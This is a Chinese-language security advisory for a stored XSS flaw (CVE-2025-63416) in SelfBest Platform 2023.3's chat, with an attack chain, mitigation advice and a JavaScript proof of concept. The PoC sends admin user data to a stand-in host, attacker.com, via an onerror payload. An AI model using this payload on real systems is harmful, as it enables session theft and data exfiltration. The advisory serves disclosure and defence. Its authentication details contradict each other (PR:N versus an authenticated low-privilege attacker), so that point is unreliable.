IPBUF安全漏洞报告
English
CVE-2025-63416 CVSS 9.1 严重

CVE-2025-63416 SelfBest平台2023.3聊天功能存储型XSS漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-63416
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SelfBest Platform 2023.3

相关标签

存储型XSS跨站脚本攻击CVE-2025-63416SelfBest Platform会话劫持权限提升敏感数据泄露聊天功能漏洞Web应用安全CVSS 9.1

漏洞概述

CVE-2025-63416是SelfBest平台2023.3版本中发现的一个高危安全漏洞,存在于平台的聊天功能模块中。该漏洞为存储型跨站脚本攻击(Stored Cross-Site Scripting,简称XSS),允许经过身份验证的低权限攻击者在聊天消息中注入恶意JavaScript代码。当其他用户查看包含恶意脚本的消息时,攻击代码会在受害者浏览器上下文中执行,从而实现对用户会话的劫持。由于该漏洞位于聊天功能中,恶意脚本会被永久存储在服务器端,所有访问该聊天记录的用户都会受到攻击影响。攻击者可利用此漏洞窃取受害者的会话Cookie、获取敏感的管理员数据、调用管理功能,最终实现权限提升和敏感用户数据的完全泄露。漏洞的CVSS评分高达9.1,属于严重级别,对系统安全性构成重大威胁。

技术细节

该存储型XSS漏洞存在于SelfBest平台2023.3的聊天消息处理模块中。攻击过程如下:首先,攻击者作为经过身份验证的低权限用户,在聊天功能中发送包含恶意JavaScript payload的消息。由于应用程序未对用户输入进行充分的输入验证和输出编码,恶意脚本被直接存储在数据库中。当其他用户(包括管理员)查看聊天记录时,服务器将存储的恶意脚本原样返回给客户端浏览器执行。攻击者可利用此漏洞执行以下操作:1)通过document.cookie获取受害者用户的会话Cookie;2)使用XMLHttpRequest或Fetch API发送跨域请求,访问受保护的/admin/users等管理端点;3)将获取的管理员数据通过JavaScript外传到攻击者控制的服务器;4)进一步利用管理员权限执行更多恶意操作。由于聊天功能是平台的核心社交功能,用户活跃度高,攻击面广泛,危害极为严重。

攻击链分析

STEP 1
步骤1:信息收集与侦察
攻击者首先识别目标SelfBest平台版本为2023.3,确认其聊天功能存在,并获取低权限用户账户进行登录测试。
STEP 2
步骤2:注入恶意XSS Payload
攻击者通过聊天功能发送包含恶意JavaScript代码的消息,如<img src=x onerror='恶意脚本'>,利用HTML标签属性事件处理器执行XSS代码。
STEP 3
步骤3:Payload存储与持久化
由于应用未对输入进行充分过滤和编码,恶意脚本被永久存储在服务器数据库中,所有查看该聊天记录的用户都会触发漏洞。
STEP 4
步骤4:诱导管理员查看
攻击者通过社交工程手段诱导目标管理员查看包含恶意脚本的聊天记录,或等待管理员在日常工作中自然访问该聊天内容。
STEP 5
步骤5:恶意脚本执行与会话劫持
当管理员浏览器渲染聊天记录时,恶意JavaScript代码在管理员上下文中执行,可获取管理员的会话Cookie和认证令牌。
STEP 6
步骤6:敏感数据窃取
恶意脚本利用管理员身份向/admin/users等管理端点发起请求,获取用户列表、权限信息等敏感数据。
STEP 7
步骤7:数据外传与权限提升
窃取的敏感数据通过JavaScript的fetch或XMLHttpRequest发送到攻击者控制的外部服务器,完成数据外传。攻击者可利用获取的信息进一步提升权限,完全控制平台。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63416 PoC - Stored XSS in SelfBest Platform 2023.3 Chat // This PoC demonstrates how to exploit the stored XSS to steal admin data const xssPayload = `<img src=x onerror=" fetch('/admin/users', {credentials: 'include'}) .then(res => res.json()) .then(data => { // Exfiltrate admin data to attacker server fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} }); }); ">`; // Step 1: Send the malicious payload via chat API async function exploitStoredXSS() { const chatApiUrl = 'https://self.best/api/chat/send'; const response = await fetch(chatApiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + getAuthToken() // Low-privilege user token }, body: JSON.stringify({ message: xssPayload, recipient: 'target_user' }) }); return response.json(); } // Step 2: When admin views the chat, the XSS executes and steals data // The malicious script will: // 1. Execute in admin's browser context // 2. Fetch /admin/users with admin's credentials // 3. Exfiltrate the data to attacker's server // Mitigation: Implement proper input validation and output encoding // HTML encode: < > & " ' should be converted to &lt; &gt; &amp; &quot; &apos;

影响范围

SelfBest Platform 2023.3

防御指南

临时缓解措施
作为临时缓解措施,可暂时禁用平台的聊天功能或限制聊天消息的格式为纯文本,禁止任何HTML标签的输入和显示。同时增加对管理后台访问的IP限制和双因素认证,即使攻击者窃取管理员凭证也需要额外验证才能访问敏感功能。建议在Web应用防火墙(WAF)上配置XSS防护规则,对包含常见XSS特征的请求进行拦截和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表